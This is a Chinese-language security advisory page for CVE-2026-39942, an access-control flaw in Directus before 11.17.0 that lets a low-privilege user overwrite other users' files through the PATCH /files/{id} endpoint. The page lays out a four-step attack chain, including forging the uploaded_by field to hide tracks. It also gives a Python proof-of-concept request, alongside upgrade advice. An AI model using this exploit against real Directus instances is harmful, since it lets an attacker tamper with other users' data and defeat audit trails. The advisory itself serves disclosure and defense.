IPBUF安全漏洞报告
English
CVE-2026-39942 CVSS 8.5 高危

CVE-2026-39942 Directus文件覆盖漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39942
漏洞类型
访问控制漏洞
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Directus

相关标签

Directus文件覆盖访问控制CVE-2026-39942

漏洞概述

Directus 是一个用于管理 SQL 数据库的实时 API 平台。在 11.17.0 版本之前,其 PATCH /files/{id} 端点存在严重的访问控制缺陷。攻击者可以利用该接口接受用户控制的 filename_disk 参数,将其设置为匹配其他用户文件的存储路径。这使得攻击者能够覆盖目标文件的内容,并操纵 uploaded_by 等元数据字段来掩盖篡改行为,从而破坏系统数据的完整性和隔离性。

技术细节

该漏洞源于 Directus 文件处理组件在处理 PATCH 请求时的逻辑缺陷。具体而言,受影响版本中的 `/files/{id}` 端点允许客户端直接指定 `filename_disk` 参数,该参数决定了文件在存储系统中的物理路径。由于服务器端未对用户提交的路径进行充分的权限校验和所有权验证,攻击者可以将该参数指向其他用户的文件路径。当攻击者发送包含恶意 `filename_disk` 值的请求时,系统会错误地执行文件写入操作,导致目标文件被攻击者控制的数据覆盖。此外,攻击者还能同步修改 `uploaded_by` 等元数据字段,伪造文件来源,使得审计和追踪变得困难。这一组合漏洞利用了不安全的直接对象引用(IDOR)和访问控制缺失,严重威胁多租户环境下的数据安全。

攻击链分析

STEP 1
侦察与准备
攻击者识别目标 Directus 实例版本低于 11.17.0,并获取有效的用户 API Token。
STEP 2
构造恶意载荷
攻击者确定受害者的文件存储路径,并构造包含恶意 filename_disk 参数和伪造元数据的 PATCH 请求。
STEP 3
执行覆盖攻击
向 /files/{id} 端点发送请求,利用漏洞将受害者的文件内容替换为攻击者指定的数据。
STEP 4
掩盖痕迹
通过修改 uploaded_by 字段,使文件看起来是由其他用户(如管理员)上传的,干扰审计。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:8080" attacker_token = "YOUR_ACCESS_TOKEN" file_id_to_control = "1" # ID of a file the attacker controls # Path on disk where the victim's file is stored (e.g., another user's upload) victim_disk_path = "uploads/victim_sensitive_file.pdf" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Payload to overwrite the victim's file using the attacker's controlled file ID payload = { "filename_disk": victim_disk_path, # Vulnerable parameter: Path traversal/overwrite "data": "base64_encoded_content_of_malicious_file", "uploaded_by": "admin" # Tamper with metadata to hide tracks } # Send the malicious PATCH request response = requests.patch( f"{target_url}/files/{file_id_to_control}", json=payload, headers=headers ) if response.status_code == 200: print("[+] Exploit successful: File overwritten.") else: print(f"[-] Exploit failed: {response.text}")

影响范围

Directus < 11.17.0

防御指南

临时缓解措施
建议立即升级到官方修复版本 11.17.0。在升级前,管理员应严格审查 API 权限,特别是对 /files 端点的写入权限,并监控异常的文件修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表